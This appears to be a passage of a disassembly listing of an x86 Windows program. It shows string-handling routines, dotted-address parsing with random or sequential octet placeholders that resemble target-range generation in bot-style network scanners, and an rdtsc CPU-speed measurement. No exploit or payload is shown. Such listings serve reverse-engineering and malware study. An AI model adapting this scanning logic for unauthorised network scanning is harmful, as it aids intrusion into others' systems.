		push	ebx
		push	eax
		call	sub_4114B8	; _mbscpy
		mov	eax, [ebp+arg_8]
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405847
		mov	eax, offset byte_4191D0


loc_405847:				; CODE XREF: sub_4057ED+53j
		push	edi
		push	10h
		push	eax
		lea	eax, [esi+0Ah]
		push	eax
		call	sub_4059C2
		mov	edi, [ebp+arg_0]
		push	1A3h
		lea	eax, [esi+1Ah]
		push	edi
		push	eax
		call	sub_4114D0	; memcpy
		xor	eax, eax
		add	esp, 18h
		cmp	[edi+18Bh], al
		push	ebx
		push	offset dword_413F34
		setz	al
		push	eax
		push	esi
		push	offset sub_4056AC
		call	sub_406D58
		add	esp, 14h
		pop	edi


loc_40588A:				; CODE XREF: sub_4057ED+40j
		pop	esi
		pop	ebx
		leave
		retn
sub_4057ED	endp


; =============== S U B	R O U T	I N E =======================================



sub_40588E	proc near		; CODE XREF: sub_40C135+20Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		test	esi, esi
		mov	edx, esi
		jl	short loc_4058B4
		mov	eax, [esp+4+arg_0]
		lea	ecx, [eax+esi*2]


loc_4058A0:				; CODE XREF: sub_40588E+24j
		mov	eax, [esp+4+arg_4]
		mov	al, [edx+eax]
		mov	[ecx], al
		and	byte ptr [ecx+1], 0
		dec	edx
		dec	ecx
		dec	ecx
		test	edx, edx
		jge	short loc_4058A0


loc_4058B4:				; CODE XREF: sub_40588E+9j
		mov	eax, esi
		pop	esi
		retn
sub_40588E	endp


; =============== S U B	R O U T	I N E =======================================



sub_4058B8	proc near		; CODE XREF: sub_407A76+179p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		call	sub_4114BE	; strlen
		pop	ecx


loc_4058C4:				; CODE XREF: sub_4058B8+1Bj
		test	eax, eax
		jz	short loc_4058D5
		dec	eax
		cmp	byte ptr [eax+esi], 20h
		jnz	short loc_4058D5
		and	byte ptr [eax+esi], 0
		jmp	short loc_4058C4
; ---------------------------------------------------------------------------


loc_4058D5:				; CODE XREF: sub_4058B8+Ej
					; sub_4058B8+15j
		pop	esi
		retn
sub_4058B8	endp


; =============== S U B	R O U T	I N E =======================================



sub_4058D7	proc near		; CODE XREF: sub_405B5B+Cp

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	edx, [esp+arg_0]
		xor	eax, eax


loc_4058DD:				; CODE XREF: sub_4058D7+14j
		mov	cl, [edx]
		test	cl, cl
		jz	short locret_4058ED
		cmp	cl, [esp+arg_4]
		jnz	short loc_4058EA
		inc	eax


loc_4058EA:				; CODE XREF: sub_4058D7+10j
		inc	edx
		jmp	short loc_4058DD
; ---------------------------------------------------------------------------

locret_4058ED:				; CODE XREF: sub_4058D7+Aj
		retn
sub_4058D7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4058EE	proc near		; CODE XREF: sub_40A236+2Ap
					; sub_40A236+EDp

var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		cmp	[ebp+arg_10], esi
		jnz	short loc_405917
		push	esi
		push	esi
		push	[ebp+arg_8]
		call	sub_4114E8	; memset
		push	esi
		push	esi
		push	[ebp+arg_C]
		call	sub_4114E8	; memset
		add	esp, 18h
		xor	eax, eax
		jmp	short loc_40598D
; ---------------------------------------------------------------------------


loc_405917:				; CODE XREF: sub_4058EE+Cj
		push	[ebp+arg_0]
		mov	esi, [ebp+arg_4]
		push	esi
		call	sub_4114B8	; _mbscpy
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_413F54
		push	[ebp+arg_0]
		call	sub_405E4F
		mov	ebx, [ebp+arg_8]
		add	esp, 14h
		push	1
		mov	[ebx], eax
		mov	eax, [ebp+arg_C]
		pop	edi
		cmp	[ebp+arg_10], edi
		mov	[eax], esi
		jle	short loc_40598A
		mov	[ebp+arg_8], eax
		lea	esi, [ebx+4]
		sub	[ebp+arg_8], ebx


loc_405952:				; CODE XREF: sub_4058EE+9Aj
		xor	eax, eax
		cmp	[esi-4], eax
		jz	short loc_405992
		lea	ecx, [ebp+var_4]
		push	ecx
		push	offset dword_413F54
		push	eax
		call	sub_405E4F
		add	esp, 0Ch
		mov	[esi], eax
		test	eax, eax
		jz	short loc_405979
		sub	eax, [ebp+arg_0]
		add	eax, [ebp+arg_4]
		jmp	short loc_40597B
; ---------------------------------------------------------------------------


loc_405979:				; CODE XREF: sub_4058EE+81j
		xor	eax, eax


loc_40597B:				; CODE XREF: sub_4058EE+89j
		mov	ecx, [ebp+arg_8]
		inc	edi
		mov	[ecx+esi], eax
		add	esi, 4
		cmp	edi, [ebp+arg_10]
		jl	short loc_405952


loc_40598A:				; CODE XREF: sub_4058EE+59j
		mov	eax, [ebp+arg_10]


loc_40598D:				; CODE XREF: sub_4058EE+27j
					; sub_4058EE+D2j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_405992:				; CODE XREF: sub_4058EE+69j
		mov	esi, edi
		imul	esi, 3FFFFFFFh
		add	esi, [ebp+arg_10]
		shl	esi, 2
		push	esi
		push	eax
		lea	eax, [ebx+edi*4]
		push	eax
		call	sub_4114E8	; memset
		mov	eax, [ebp+arg_C]
		push	esi
		push	0
		lea	eax, [eax+edi*4]
		push	eax
		call	sub_4114E8	; memset
		add	esp, 18h
		lea	eax, [edi-1]
		jmp	short loc_40598D
sub_4058EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4059C2	proc near		; CODE XREF: sub_40110A+58p
					; sub_40110A+8Cp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_4059EC
		cmp	ecx, 1
		jz	short loc_4059E9


loc_4059D9:				; CODE XREF: sub_4059C2+25j
		mov	al, [esi]
		mov	[edi], al
		test	al, al
		jz	short loc_4059EC
		inc	esi
		inc	edi
		dec	ecx
		cmp	ecx, 1
		jnz	short loc_4059D9


loc_4059E9:				; CODE XREF: sub_4059C2+15j
		mov	byte ptr [edi],	0


loc_4059EC:				; CODE XREF: sub_4059C2+10j
					; sub_4059C2+1Dj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_4059C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4059F0	proc near		; CODE XREF: sub_406EA9+17p
					; sub_406F84+1Bp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]


loc_4059F4:				; CODE XREF: sub_4059F0+15j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_405A0A
		cmp	cl, 30h
		jl	short loc_405A07
		cmp	byte ptr [eax],	39h
		jg	short loc_405A07
		inc	eax
		jmp	short loc_4059F4
; ---------------------------------------------------------------------------


loc_405A07:				; CODE XREF: sub_4059F0+Dj
					; sub_4059F0+12j
		xor	al, al
		retn
; ---------------------------------------------------------------------------


loc_405A0A:				; CODE XREF: sub_4059F0+8j
		mov	al, 1
		retn
sub_4059F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405A0D	proc near		; CODE XREF: sub_401000+9Cp
					; sub_40FDB3+5Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		push	edi
		call	sub_4114BE	; strlen
		mov	ebx, [ebp+arg_4]
		and	[ebp+arg_8], 0
		sub	ebx, eax
		pop	ecx
		mov	[ebp+var_4], eax
		js	short loc_405A65
		mov	esi, [ebp+arg_0]


loc_405A2F:				; CODE XREF: sub_405A0D+56j
		mov	al, [esi]
		mov	cl, [edi]
		cmp	al, cl
		jz	short loc_405A4B
		movsx	edx, al
		movsx	eax, cl
		lea	ecx, [eax+20h]
		cmp	edx, ecx
		jz	short loc_405A4B
		add	eax, 0FFFFFFE0h
		cmp	edx, eax
		jnz	short loc_405A5C


loc_405A4B:				; CODE XREF: sub_405A0D+28j
					; sub_405A0D+35j
		push	[ebp+var_4]
		push	edi
		push	esi
		call	sub_411930	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_405A6C


loc_405A5C:				; CODE XREF: sub_405A0D+3Cj
		inc	[ebp+arg_8]
		inc	esi
		cmp	[ebp+arg_8], ebx
		jle	short loc_405A2F


loc_405A65:				; CODE XREF: sub_405A0D+1Dj
		xor	eax, eax


loc_405A67:				; CODE XREF: sub_405A0D+67j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_405A6C:				; CODE XREF: sub_405A0D+4Dj
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+arg_0]
		add	eax, ecx
		jmp	short loc_405A67
sub_405A0D	endp


; =============== S U B	R O U T	I N E =======================================



sub_405A76	proc near		; CODE XREF: sub_40765C+CCp
					; sub_40A407+Cp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		xor	eax, eax
		mov	cl, [esi]


loc_405A7F:				; CODE XREF: sub_405A76+1Cj
		test	cl, cl
		jz	short loc_405A94
		cmp	cl, 0Dh
		jz	short loc_405A98
		cmp	cl, 0Ah
		jz	short loc_405A98
		mov	cl, [eax+esi+1]
		inc	eax
		jmp	short loc_405A7F
; ---------------------------------------------------------------------------


loc_405A94:				; CODE XREF: sub_405A76+Bj
		add	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_405A98:				; CODE XREF: sub_405A76+10j
					; sub_405A76+15j
		push	edi
		xor	ecx, ecx
		lea	edi, [eax+esi]


loc_405A9E:				; CODE XREF: sub_405A76+3Aj
		mov	dl, [edi+ecx]
		cmp	dl, 0Dh
		jz	short loc_405AAB
		cmp	dl, 0Ah
		jnz	short loc_405AB2


loc_405AAB:				; CODE XREF: sub_405A76+2Ej
		and	byte ptr [edi+ecx], 0
		inc	ecx
		jmp	short loc_405A9E
; ---------------------------------------------------------------------------


loc_405AB2:				; CODE XREF: sub_405A76+33j
		add	eax, ecx
		pop	edi
		add	eax, esi
		pop	esi
		retn
sub_405A76	endp


; =============== S U B	R O U T	I N E =======================================



sub_405AB9	proc near		; CODE XREF: sub_40DBD7+4Ep
					; sub_40DBD7+C6p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short locret_405AD5


loc_405AC4:				; CODE XREF: sub_405AB9+17j
		mov	cl, [eax]
		test	cl, cl
		jz	short locret_405AD5
		cmp	cl, 20h
		jz	short loc_405AD2
		inc	eax
		jmp	short loc_405AC4
; ---------------------------------------------------------------------------


loc_405AD2:				; CODE XREF: sub_405AB9+14j
		and	byte ptr [eax],	0

locret_405AD5:				; CODE XREF: sub_405AB9+9j
					; sub_405AB9+Fj
		retn
sub_405AB9	endp


; =============== S U B	R O U T	I N E =======================================



sub_405AD6	proc near		; CODE XREF: sub_405FF3+21Fp
					; sub_408E1A+62p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		xor	eax, eax
		mov	esi, ecx


loc_405AE4:				; CODE XREF: sub_405AD6+2Aj
		mov	dl, [esi]
		cmp	dl, 20h
		jnz	short loc_405AF4
		test	edi, edi
		jnz	short loc_405AFF
		push	1
		pop	edi
		jmp	short loc_405AF6
; ---------------------------------------------------------------------------


loc_405AF4:				; CODE XREF: sub_405AD6+13j
		xor	edi, edi


loc_405AF6:				; CODE XREF: sub_405AD6+1Cj
		mov	[eax+ecx], dl
		inc	eax
		cmp	byte ptr [esi],	0
		jz	short loc_405B02


loc_405AFF:				; CODE XREF: sub_405AD6+17j
		inc	esi
		jmp	short loc_405AE4
; ---------------------------------------------------------------------------


loc_405B02:				; CODE XREF: sub_405AD6+27j
		cmp	[esp+8+arg_8], 0
		pop	edi
		pop	esi
		jz	short locret_405B1A


loc_405B0B:				; CODE XREF: sub_405AD6+42j
		test	eax, eax
		jz	short locret_405B1A
		and	byte ptr [eax+ecx], 0
		dec	eax
		cmp	byte ptr [eax+ecx], 20h
		jz	short loc_405B0B

locret_405B1A:				; CODE XREF: sub_405AD6+33j
					; sub_405AD6+37j
		retn
sub_405AD6	endp


; =============== S U B	R O U T	I N E =======================================



sub_405B1B	proc near		; CODE XREF: sub_405B5B+41p
					; sub_405B5B+50p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	edi, [esp+0Ch+arg_0]
		xor	eax, eax
		mov	ebx, edi
		mov	esi, ecx
		sub	ebx, ecx


loc_405B2E:				; CODE XREF: sub_405B1B+26j
		mov	dl, [esi]
		cmp	dl, 2Eh
		jz	short loc_405B49
		test	dl, dl
		jz	short loc_405B53
		mov	[ebx+esi], dl
		inc	eax
		inc	esi
		cmp	eax, 4
		jl	short loc_405B2E
		xor	eax, eax


loc_405B45:				; CODE XREF: sub_405B1B+36j
					; sub_405B1B+3Ej
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_405B49:				; CODE XREF: sub_405B1B+18j
		and	byte ptr [eax+edi], 0
		lea	eax, [eax+ecx+1]
		jmp	short loc_405B45
; ---------------------------------------------------------------------------


loc_405B53:				; CODE XREF: sub_405B1B+1Cj
		and	byte ptr [eax+edi], 0
		add	eax, ecx
		jmp	short loc_405B45
sub_405B1B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405B5B	proc near		; CODE XREF: sub_405C9C+19p
					; sub_405C9C+38p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		push	2Eh
		push	esi
		call	sub_4058D7
		pop	ecx
		cmp	eax, 3
		pop	ecx
		jg	short loc_405B96
		mov	ecx, [ebp+arg_10]
		mov	edi, [ebp+arg_8]
		xor	ebx, ebx
		mov	[ecx], bl
		mov	ecx, [ebp+arg_C]
		sub	eax, ebx
		mov	[ecx], bl
		mov	ecx, [ebp+arg_4]
		mov	[edi], bl
		mov	[ecx], bl
		jz	short loc_405BC9
		dec	eax
		jz	short loc_405BB8
		dec	eax
		jz	short loc_405BA9
		dec	eax
		jz	short loc_405B9A


loc_405B96:				; CODE XREF: sub_405B5B+16j
					; sub_405B5B+4Cj ...
		xor	eax, eax
		jmp	short loc_405BDA
; ---------------------------------------------------------------------------


loc_405B9A:				; CODE XREF: sub_405B5B+39j
		push	esi
		push	ecx
		call	sub_405B1B
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_405B96


loc_405BA9:				; CODE XREF: sub_405B5B+36j
		push	esi
		push	edi
		call	sub_405B1B
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_405B96


loc_405BB8:				; CODE XREF: sub_405B5B+33j
		push	esi
		push	[ebp+arg_C]
		call	sub_405B1B
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_405B96


loc_405BC9:				; CODE XREF: sub_405B5B+30j
		push	esi
		push	[ebp+arg_10]
		call	sub_405B1B
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		neg	eax


loc_405BDA:				; CODE XREF: sub_405B5B+3Dj
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_405B5B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405BDF	proc near		; CODE XREF: sub_405C9C+81p
					; sub_405C9C+97p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		mov	dl, [eax]
		cmp	dl, 72h
		jnz	short loc_405C13
		cmp	byte ptr [eax+1], 0
		jnz	short loc_405C13
		push	0Ah
		push	[ebp+arg_C]
		push	0FFh
		push	0
		call	sub_40B459
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41192A	; _itoa
		add	esp, 0Ch
		jmp	loc_405C97
; ---------------------------------------------------------------------------


loc_405C13:				; CODE XREF: sub_405BDF+Bj
					; sub_405BDF+11j
		cmp	dl, 73h
		jz	short loc_405C1D
		cmp	dl, 69h
		jnz	short loc_405C7C


loc_405C1D:				; CODE XREF: sub_405BDF+37j
		cmp	byte ptr [eax+1], 0
		jnz	short loc_405C7C
		mov	ecx, [ebp+arg_0]
		mov	al, [ecx]
		test	al, al
		jz	short loc_405C5F
		cmp	[ebp+arg_10], 0
		jz	short loc_405C58
		push	ebx
		push	ecx
		call	sub_41151C	; atoi
		mov	ebx, eax
		push	0Ah
		push	[ebp+arg_C]
		inc	bl
		movzx	eax, bl
		push	eax
		call	sub_41192A	; _itoa
		add	esp, 10h
		xor	eax, eax
		test	bl, bl
		setz	al
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_405C58:				; CODE XREF: sub_405BDF+51j
		test	al, al
		jz	short loc_405C5F
		push	ecx
		jmp	short loc_405C6E
; ---------------------------------------------------------------------------


loc_405C5F:				; CODE XREF: sub_405BDF+4Bj
					; sub_405BDF+7Bj
		cmp	dl, 69h
		jnz	short loc_405C6B
		push	offset dword_413F58
		jmp	short loc_405C6E
; ---------------------------------------------------------------------------


loc_405C6B:				; CODE XREF: sub_405BDF+83j
		push	[ebp+arg_8]


loc_405C6E:				; CODE XREF: sub_405BDF+7Ej
					; sub_405BDF+8Aj
		push	[ebp+arg_C]
		call	sub_4114B8	; _mbscpy
		pop	ecx
		xor	eax, eax
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_405C7C:				; CODE XREF: sub_405BDF+3Cj
					; sub_405BDF+42j
		test	dl, dl
		jnz	short loc_405C87
		mov	eax, [ebp+arg_0]
		cmp	[eax], dl
		jz	short loc_405C8A


loc_405C87:				; CODE XREF: sub_405BDF+9Fj
		push	eax
		jmp	short loc_405C8D
; ---------------------------------------------------------------------------


loc_405C8A:				; CODE XREF: sub_405BDF+A6j
		push	[ebp+arg_8]


loc_405C8D:				; CODE XREF: sub_405BDF+A9j
		push	[ebp+arg_C]
		call	sub_4114B8	; _mbscpy
		pop	ecx
		pop	ecx


loc_405C97:				; CODE XREF: sub_405BDF+2Fj
		mov	eax, [ebp+arg_10]
		pop	ebp
		retn
sub_405BDF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405C9C	proc near		; CODE XREF: sub_40EE23+137p
					; sub_40EE23+2F4p

var_3C		= byte ptr -3Ch
var_38		= byte ptr -38h
var_34		= byte ptr -34h
var_30		= byte ptr -30h
var_2C		= byte ptr -2Ch
var_28		= byte ptr -28h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_1C		= byte ptr -1Ch
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 3Ch
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		push	[ebp+arg_0]
		call	sub_405B5B
		add	esp, 14h
		test	eax, eax
		jz	short loc_405D07
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		push	[ebp+arg_4]
		call	sub_405B5B
		add	esp, 14h
		test	eax, eax
		jz	short loc_405D07
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	offset dword_41A2E8
		call	sub_405B5B
		add	esp, 14h
		test	eax, eax
		jz	short loc_405D07
		cmp	byte ptr [ebp+arg_0], 0
		jnz	short loc_405D0B


loc_405D07:				; CODE XREF: sub_405C9C+23j
					; sub_405C9C+42j ...
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_405D0B:				; CODE XREF: sub_405C9C+69j
		lea	eax, [ebp+var_30]
		push	1
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_405BDF
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_405BDF
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_405BDF
		push	eax
		lea	eax, [ebp+var_3C]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_405BDF
		add	esp, 50h
		lea	eax, [ebp+var_30]
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_3C]
		push	eax
		push	offset dword_413F5C
		push	[ebp+arg_8]
		call	sub_4114DC	; sprintf
		add	esp, 18h
		push	1
		pop	eax
		leave
		retn
sub_405C9C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405D8C	proc near		; CODE XREF: sub_40EE23+E6p

var_20		= byte ptr -20h
var_1C		= byte ptr -1Ch
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	[ebp+arg_0]
		call	sub_405B5B
		add	esp, 14h
		test	eax, eax
		jz	short loc_405DD2
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	offset dword_41A2E8
		call	sub_405B5B
		add	esp, 14h
		test	eax, eax
		jnz	short loc_405DD6


loc_405DD2:				; CODE XREF: sub_405D8C+23j
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_405DD6:				; CODE XREF: sub_405D8C+44j
		cmp	[ebp+var_10], 0
		jnz	short loc_405DEB
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4114B8	; _mbscpy
		pop	ecx
		pop	ecx


loc_405DEB:				; CODE XREF: sub_405D8C+4Ej
		cmp	[ebp+var_C], 0
		jnz	short loc_405E00
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4114B8	; _mbscpy
		pop	ecx
		pop	ecx


loc_405E00:				; CODE XREF: sub_405D8C+63j
		cmp	[ebp+var_8], 0
		jnz	short loc_405E15
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_4114B8	; _mbscpy
		pop	ecx
		pop	ecx


loc_405E15:				; CODE XREF: sub_405D8C+78j
		cmp	[ebp+var_4], 0
		jnz	short loc_405E2A
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_4114B8	; _mbscpy
		pop	ecx
		pop	ecx


loc_405E2A:				; CODE XREF: sub_405D8C+8Dj
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	offset dword_413F5C
		push	[ebp+arg_0]
		call	sub_4114DC	; sprintf
		add	esp, 18h
		push	1
		pop	eax
		leave
		retn
sub_405D8C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405E4F	proc near		; CODE XREF: sub_4058EE+41p
					; sub_4058EE+75p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_405E5E
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax


loc_405E5E:				; CODE XREF: sub_405E4F+8j
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	ecx, [eax]
		mov	edi, [ebp+arg_4]
		mov	al, [ecx]
		test	al, al
		jz	short loc_405E92
		mov	bl, [edi]


loc_405E71:				; CODE XREF: sub_405E4F+41j
		test	bl, bl
		mov	esi, edi
		jz	short loc_405E85
		mov	dl, bl


loc_405E79:				; CODE XREF: sub_405E4F+34j
		cmp	dl, al
		jz	short loc_405E85
		mov	dl, [esi+1]
		inc	esi
		test	dl, dl
		jnz	short loc_405E79


loc_405E85:				; CODE XREF: sub_405E4F+26j
					; sub_405E4F+2Cj
		cmp	byte ptr [esi],	0
		jz	short loc_405E92
		mov	al, [ecx+1]
		inc	ecx
		test	al, al
		jnz	short loc_405E71


loc_405E92:				; CODE XREF: sub_405E4F+1Ej
					; sub_405E4F+39j
		cmp	byte ptr [ecx],	0
		mov	edx, ecx
		mov	esi, edi
		jz	short loc_405EB5


loc_405E9B:				; CODE XREF: sub_405E4F+5Ej
		mov	al, [edx]
		cmp	al, [esi]
		jz	short loc_405EB1
		inc	esi
		cmp	byte ptr [esi],	0
		jnz	short loc_405EAA
		mov	esi, edi
		inc	edx


loc_405EAA:				; CODE XREF: sub_405E4F+56j
		cmp	byte ptr [edx],	0
		jnz	short loc_405E9B
		jmp	short loc_405EB5
; ---------------------------------------------------------------------------


loc_405EB1:				; CODE XREF: sub_405E4F+50j
		and	byte ptr [edx],	0
		inc	edx


loc_405EB5:				; CODE XREF: sub_405E4F+4Aj
					; sub_405E4F+60j
		mov	eax, [ebp+arg_8]
		pop	edi
		pop	esi
		pop	ebx
		mov	[eax], edx
		mov	eax, ecx
		sub	eax, edx
		neg	eax
		sbb	eax, eax
		and	eax, ecx
		pop	ebp
		retn
sub_405E4F	endp


; =============== S U B	R O U T	I N E =======================================



sub_405EC9	proc near		; CODE XREF: sub_405ECC:loc_405ED6p
					; sub_405ECC+1Ep
		rdtsc
		retn
sub_405EC9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405ECC	proc near		; CODE XREF: sub_405FF3+271p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	esi, esi


loc_405ED6:				; CODE XREF: sub_405ECC+42j
					; sub_405ECC+4Cj
		call	sub_405EC9
		push	3E8h
		mov	edi, eax
		mov	ebx, edx
		call	dword_4120A4	; Sleep
		call	sub_405EC9
		sub	eax, edi
		push	esi
		sbb	edx, ebx
		push	186A0h
		push	edx
		push	eax
		call	sub_411610
		push	esi
		push	0Ah
		push	edx
		push	eax
		call	sub_411610
		cmp	edx, esi
		mov	edi, eax
		ja	short loc_405ED6
		jb	short loc_405F1A
		cmp	edi, 0F4240h
		ja	short loc_405ED6


loc_405F1A:				; CODE XREF: sub_405ECC+44j
		push	esi
		push	64h
		push	edx
		push	edi
		call	sub_411590
		push	64h
		mov	ecx, eax
		cmp	edx, esi
		pop	eax
		mov	[ebp+var_4], esi
		ja	short loc_405F91
		jb	short loc_405F37
		cmp	ecx, 50h
		jnb	short loc_405F3D


loc_405F37:				; CODE XREF: sub_405ECC+64j
		push	4Bh
		mov	[ebp+var_4], esi
		pop	eax


loc_405F3D:				; CODE XREF: sub_405ECC+69j
		cmp	edx, esi
		ja	short loc_405F91
		jb	short loc_405F48
		cmp	ecx, 47h
		jnb	short loc_405F4E


loc_405F48:				; CODE XREF: sub_405ECC+75j
		push	42h
		mov	[ebp+var_4], esi
		pop	eax


loc_405F4E:				; CODE XREF: sub_405ECC+7Aj
		cmp	edx, esi
		ja	short loc_405F91
		jb	short loc_405F59
		cmp	ecx, 37h
		jnb	short loc_405F5F


loc_405F59:				; CODE XREF: sub_405ECC+86j
		push	32h
		mov	[ebp+var_4], esi
		pop	eax


loc_405F5F:				; CODE XREF: sub_405ECC+8Bj
		cmp	edx, esi
		ja	short loc_405F91
		jb	short loc_405F6A
		cmp	ecx, 26h
		jnb	short loc_405F70


loc_405F6A:				; CODE XREF: sub_405ECC+97j
		push	21h
		mov	[ebp+var_4], esi
		pop	eax


loc_405F70:				; CODE XREF: sub_405ECC+9Cj
